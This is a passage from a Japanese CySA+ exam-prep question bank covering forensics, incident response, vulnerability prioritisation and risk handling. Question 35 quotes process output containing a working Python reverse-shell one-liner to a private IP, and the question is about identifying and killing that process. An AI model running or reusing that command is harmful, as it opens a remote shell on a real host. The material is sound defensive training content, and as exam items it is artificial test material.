・D(誤り):端末同士が直接通信を行う動作を指す概念であり、外部への大量送信を伴う標的型攻撃の目的説明としては不適切です。
未挑戦
☆
問 25
3:インシデント対応管理
法廷において最も受け入れられる可能性が高い証拠収集方法は、次のうちどれですか?
A. インシデント発生時のすべてのアクセスファイルをコピーする。
B. すべてのファイルのファイルレベルのアーカイブを作成する。
C. 完全なシステムバックアップインベントリを提供する。
D. ハードドライブのビットレベルのイメージを提供する。
正解:D
解説:
デジタルフォレンジックにおいて法廷で証拠として認められるためには、削除されたファイルや未割り当て領域を含むドライブ全体を完全に複製したビットレベルイメージの取得が標準とされています。
・A(誤り):アクセス対象のファイルのみを個別にコピーする方法では、タイムスタンプやメタデータが変更される可能性があり、法廷証拠としての信頼性が不十分です。
・B(誤り):ファイル単位のアーカイブ作成ではスラックスペースや削除済みデータの痕跡が失われるため、完全なフォレンジック証拠とは認められません。
・C(誤り):通常のシステムバックアップは運用の復旧を目的としており、フォレンジックの整合性要件や未割り当て領域の保全を満たしていません。
・D(正解):ハードドライブのビットレベルイメージを取得することで、元のストレージの内容を一切改変せずに完全な同一性を維持した複製を作成でき、法廷での証拠能力が担保されます。
未挑戦
☆
問 26
3:インシデント対応管理
インシデントの発生後、セキュリティアナリストは会社のステークホルダーに完全な情報を報告するためにフォレンジック分析を実行する必要があります。この場合におけるフォレンジック分析の目標である可能性が最も高いものは次のうちどれですか?
A. 既存のリスクの全体像を提供する。
B. インシデントを法執行機関に通知する。
C. インシデントをさらに封じ込める。
D. 根本原因の情報を特定する。
正解:D
解説:
インシデント収束後に実施されるフォレンジック分析は、攻撃者の初期侵入経路、悪用された脆弱性、侵害の全体像などの根本原因を技術的に究明し、ステークホルダーへ正確に説明することを主目的とします。
・A(誤り):組織内の潜在的なリスクの全体像を提示することはリスクアセスメントの役割であり、個別のインシデントに対するフォレンジック分析の直接の目的ではありません。
・B(誤り):法執行機関への通報は法務や経営判断に基づく対外手続きであり、フォレンジック分析そのものが目指す技術的な目標ではありません。
・C(誤り):インシデントの封じ込めは初動対応フェーズで実施される被害拡大防止策であり、事後的な証拠分析の目標ではありません。
・D(正解):証拠データを詳細に解析して攻撃の全容と根本原因の情報を特定することで、経営陣や関係者に対して再発防止策を含む客観的で完全な報告書を作成できます。
未挑戦
☆
問 27
1:SecOps
アナリストは突然ファイアウォールからのデータをエンリッチメントできなくなりました。しかし、他のオープンインテリジェンスフィードは引き続き機能しています。ファイアウォールフィードが停止した最も可能性の高い理由は次のうちどれですか?
A. ファイアウォールのサービスアカウントがロックアウトされた。
B. ファイアウォールが有料フィードを使用していた。
C. ファイアウォールの証明書が期限切れになった。
D. ファイアウォールがフェイルオープンした。
正解:C
解説:
他の公開インテリジェンスフィードが正常に動作している中で特定の機器連携のみが突然停止した場合、その通信を保護・認証しているSSL/TLSデジタル証明書の期限切れが最も典型的な原因です。
・A(誤り):サービスアカウントのロックアウトも認証失敗の原因になりますが、アプライアンス機器とフィード間の自動連携では証明書ベースの認証が標準的です。
・B(誤り):有料フィードであるという事実そのものは停止理由を直接説明しておらず、ライセンス失効の記述もないため原因の特定としては不十分です。
・C(正解):ファイアウォールとデータ連携サーバー間のセキュア通信に使用されている証明書が期限切れになると、安全な接続が即座に拒否され、特定のフィード受信が停止します。
・D(誤り):フェイルオープンはファイアウォール障害時に通信を無検査で通過させる動作モードを指し、データエンリッチメント用のフィードが機能停止する理由ではありません。
未挑戦
☆
問 28
1:SecOps
侵入分析のダイヤモンドモデルの利点は次のうちどれですか?
A. 分析的ピボットを提供し、知識のギャップを特定する。
B. 発見された脆弱性が将来再び悪用されないことを保証する。
C. 法廷で使用できる簡潔な証拠を提供する。
D. 攻撃イベントのプロアクティブな検出と分析を可能にする。
正解:A
解説:
ダイヤモンドモデルは攻撃者、能力、インフラ、被害者の相関関係を定義しており、判明している頂点から別の頂点へと調査を展開するピボッティングによって未知の脅威情報を特定できる点が最大の利点です。
・A(正解):既知の要素(IPアドレスやマルウェア)から関連する他の要素(攻撃グループや標的)へ分析的ピボットを行い、現在不足している情報や知識ギャップを明確にできることがダイヤモンドモデルの中核的な強みです。
・B(誤り):脅威イベントをモデル化して分析する枠組みであり、脆弱性が将来悪用されないことを保証する防御機能ではありません。
・C(誤り):ダイヤモンドモデルは脅威インテリジェンスの分析手法であり、法廷で証拠として提出するための証拠保全規格ではありません。
・D(誤り):主に発生した侵入活動の相関分析や脅威の構造化に用いられるモデルであり、リアルタイムで攻撃を能動的に自動検知する仕組みではありません。
未挑戦
☆
問 29
SecOps
アナリストが侵害されたホストからの異常なトラフィックをキャプチャしようとしています。この目的を達成するための最適なツールは次のうちどれですか?2つ選択してください。
A. tcpdump
B. SIEM
C. 脆弱性スキャナー
D. Wireshark
E. Nmap
F. SOAR
正解:A, D
解説:
ネットワーク上で送受信される実際のパケットを捕捉・記録するパケットキャプチャには、専用のパケットアナライザーツールが用いられます。コマンドラインベースのtcpdumpとグラフィカルなインターフェースを持つWiresharkは、どちらもホストやネットワークインターフェースを通過するトラフィックを直接パケットレベルでキャプチャ・分析するための代表的なツールです。
・A(正解):tcpdumpはコマンドライン環境でリアルタイムにネットワークパケットをキャプチャし、ファイルに保存できる強力なパケットキャプチャツールです。
・B(誤り):SIEMは各種ログやイベントデータを集約して分析するシステムであり、ネットワークトラフィックの生パケットを直接キャプチャするツールではありません。
・C(誤り):脆弱性スキャナーは既知の欠陥やパッチ未適用の状態をプローブして検出するソフトウェアであり、トラフィックのキャプチャには使用されません。
・D(正解):Wiresharkは詳細なプロトコル解析機能を備えた業界標準のパケットキャプチャおよびプロトコルアナライザーツールです。
・E(誤り):Nmapはネットワークスキャンおよび開いているポートやサービスを探索するツールであり、流れるトラフィックを継続的にパケットキャプチャするツールではありません。
・F(誤り):SOARはセキュリティ運用のワークフローやインシデント対応の自動化を担うプラットフォームであり、トラフィックキャプチャ機能を提供するものではありません。
未挑戦
☆
問 30
脆弱性管理
セキュリティアナリストは、以下の情報に基づいて修正すべき資産を特定する必要があります。


File Server
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H

Web Server
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Mail Server
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Domain Controller:
CVSS:3.1/AV:N/AC:L/PR:R/UI:R/S:U/C:H/I:H/A:H





アナリストが最初に修正すべき資産は次のうちどれですか?
A. メールサーバー
B. ドメインコントローラー
C. Webサーバー
D. ファイルサーバー
正解:C
解説:
脆弱性の優先順位付けでは、CVSSの基本メトリクスにおける攻撃元区分、攻撃条件の複雑さ、必要な特権レベル、ユーザー関与の有無、および影響度を総合的に評価します。提示された中でWebサーバーの脆弱性は、ネットワーク経由で悪用可能、攻撃条件の複雑さが低く、特権やユーザー操作が不要であり、影響度も機密性・完全性・可用性のすべてで高いため、最も深刻なリスクとなります。
・A(誤り):メールサーバーの脆弱性は攻撃条件の複雑さが高に設定されており、攻撃の成立難易度がWebサーバーに比べて高いため優先度は下がります。
・B(誤り):ドメインコントローラーの脆弱性は悪用に際して特権の取得およびユーザーの関与が必要と定義されており、前提条件なしでリモート悪用できるWebサーバーよりも優先度は低くなります。
・C(正解):Webサーバーはネットワーク経由かつ追加の前提条件なしで容易に悪用可能であり、機密性・完全性・可用性のすべてに重大な影響を及ぼすため最優先で修復すべきです。
・D(誤り):ファイルサーバーの脆弱性はローカルアクセスが必要であり、機密性と完全性への影響も低にとどまるため、リモートから広範な影響を与える脆弱性に比べて優先度は低くなります。
未挑戦
☆
問 31
脆弱性管理
次の選択肢のうち、脆弱性の修復において障害を引き起こす可能性が最も高いものはどれですか?
A. SLAを満たさないこと
B. パッチの優先順位付け
C. 組織のガバナンス
D. プロプライエタリシステム
正解:D
解説:
脆弱性の修復を阻害する要因の中でも、独自仕様のアーキテクチャやベンダー専用ハードウェアで構成された環境は極めて対処が困難です。プロプライエタリシステムはソースコードや内部仕様が非公開であり、修正パッチが提供されない場合や自社で安全に対策を適用できない場合が多く、修復における直接的かつ恒常的な障害となります。
・A(誤り):SLAを満たさないことは修復の遅延によって生じるコンプライアンス上の結果であり、修復作業そのものを物理的・技術的に阻害する根本要因ではありません。
・B(誤り):パッチの優先順位付けはリスクに基づいて修正の順序を決定する管理手法であり、修復を妨げる障害ではなく円滑に進めるためのベストプラクティスです。
・C(誤り):組織のガバナンスは承認プロセス等で時間を要することがあるものの、適切なポリシーや支援によってセキュリティ対策を促進する役割も担います。
・D(正解):プロプライエタリシステムはサードパーティによる修正が不可能であり、標準的なパッチツールも利用できないため、脆弱性の修復において最も大きな障害となります。
未挑戦
☆
問 32
報告とコミュニケーション
セキュリティアナリストは、確立されたSLAを満たす脆弱性パッチ適用の段階的な計画を、IT部門が作成するのを支援する必要があります。計画を成功させるための優先順位付けに最も役立つ脆弱性管理の要素は次のうちどれですか?
A. 影響を受けるホスト
B. リスクスコア
C. 緩和戦略
D. 年間の再発
正解:B
解説:
段階的なパッチ適用計画では、どの脆弱性から対処するかを決める必要があります。そのための指標として最も有用なのは、深刻度や悪用可能性、資産の重要度を反映したリスクスコアです。
・A(誤り):影響を受けるホストからは対象の範囲がわかります。しかし、それだけでは対処の順序を判断できません。
・B(正解):リスクスコアによって脆弱性を定量的に比較でき、リスクの高い順に段階的なパッチ適用を計画できます。
・C(誤り):緩和戦略は個々の脆弱性に対する対処方法です。優先順位を決める基準ではありません。
・D(誤り):年間の再発は傾向分析には役立ちます。しかし、パッチ適用の優先順位付けの主要な基準ではありません。
未挑戦
☆
問 33
脆弱性管理
他のすべての選択肢を評価した後に検討すべきリスク管理上の決定は次のうちどれですか?
A. 移転
B. 受容
C. 軽減
D. 回避
正解:B
解説:
リスク対応では、まず軽減、移転、回避を検討します。いずれも適切でない場合や、残存リスクが許容範囲内である場合に、最終的な選択肢としてリスクを受容します。
・A(誤り):移転は、保険や外部委託によってリスクを第三者に移す積極的な対応策です。最後に検討するものではありません。
・B(正解):受容は、他の対応策を検討した結果、費用対効果などの理由から対策を講じないと判断する選択肢です。最後に検討する決定です。
・C(誤り):軽減は、管理策を導入してリスクを低減する対応です。通常は最初に検討される選択肢です。
・D(誤り):回避は、リスクの原因となる活動そのものをやめる対応です。他の選択肢と並行して検討される積極的な対応策です。
未挑戦
☆
問 34
インシデント対応管理
調査中に証拠の完全性を確保するため、証拠の取り扱い方法を管理する実務は次のうちどれですか?
A. 証拠保全の連鎖
B. 根本原因分析
C. インシデント対応
D. 証拠収集
正解:A
解説:
証拠保全の連鎖とは、誰が、いつ、どのように証拠を扱ったかを記録し続けることです。これにより、証拠が改ざんされていないことを証明できます。
・A(正解):証拠の受け渡しや保管の履歴を記録して取り扱いを管理し、調査中も証拠の完全性を確保する実務です。
・B(誤り):根本原因分析は、インシデントが発生した根本的な原因を特定する手法です。証拠の取り扱いを管理するものではありません。
・C(誤り):インシデント対応は、準備から教訓までのプロセス全体を指します。証拠の取り扱いを管理する特定の実務ではありません。
・D(誤り):証拠収集は証拠を取得する行為です。取得後の取り扱いを管理して完全性を確保するのは、証拠保全の連鎖の役割です。
未挑戦
☆
問 35
インシデント対応管理
セキュリティアナリストは、システム間の不正な通信に関連するインシデントに対応しています。イベントのトリアージ中に、アナリストは次の出力を取得しました。

text
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
python3 5996 comptiasme 0u IPv4 30325 0t0 TCP linux:35308->10.203.10.22:1234 (ESTABLISHED)
bash 5997 comptiasme 0u IPv4 30325 0t0 TCP linux:35308->10.203.10.22:1234 (ESTABLISHED)

UID PID PPID C STIME TTY TIME CMD
comptia+ 4347 4325 1 09:18 ? 00:00:37 /usr/bin/pipewire
comptia+ 5996 5332 0 09:55 pts/0 00:00:00 python3 -c import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.203.10.22",1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);
comptia+ 5997 5996 0 09:55 pts/0 00:00:00 /bin/bash -i
comptia+ 6015 5325 0 09:56 pts/1 00:00:00 bash
comptia+ 6169 6015 99 10:01 pts/1 00:00:00 ps -fea
comptia+ 701 6015 99 10:02 pts/1 00:00:00 top



悪意のあるセッションを終了するために、アナリストが使用すべきコマンドは次のうちどれですか?
A. kill -9 4347
B. kill -9 6015
C. kill -9 701
D. kill -9 5996
正解:D
解説:
PID 5996のpython3プロセスは、10.203.10.22のポート1234に接続し、標準入出力をソケットにリダイレクトして/bin/bash -iを起動しています。これはリバースシェルです。PID 5997のbashは、このプロセスの子プロセスとして生成されています。
・A(誤り):PID 4347は/usr/bin/pipewireで、正規のマルチメディアサービスです。悪意のあるセッションとは無関係です。
・B(誤り):PID 6015は、アナリスト自身がps -feaやtopを実行している端末pts/1のbashです。悪意のあるセッションではありません。
・C(誤り):PID 701は、アナリストが実行したtopコマンドです。悪意のあるセッションではありません。
・D(正解):PID 5996は、リバースシェルを確立した親プロセスのpython3です。このプロセスを終了することで、悪意のあるセッションの起点を断つことができます。

本番模擬試験(CySA+仕様 (最大85問/165分/750点合格))

本番同様の出題数と時間配分で実力を測ります。
※選択肢は自動的にシャッフルされ、試験終了時に元の順序で正解・解説が表示されます。

出題対象:

📊 学習進捗ダッシュボード

同期コード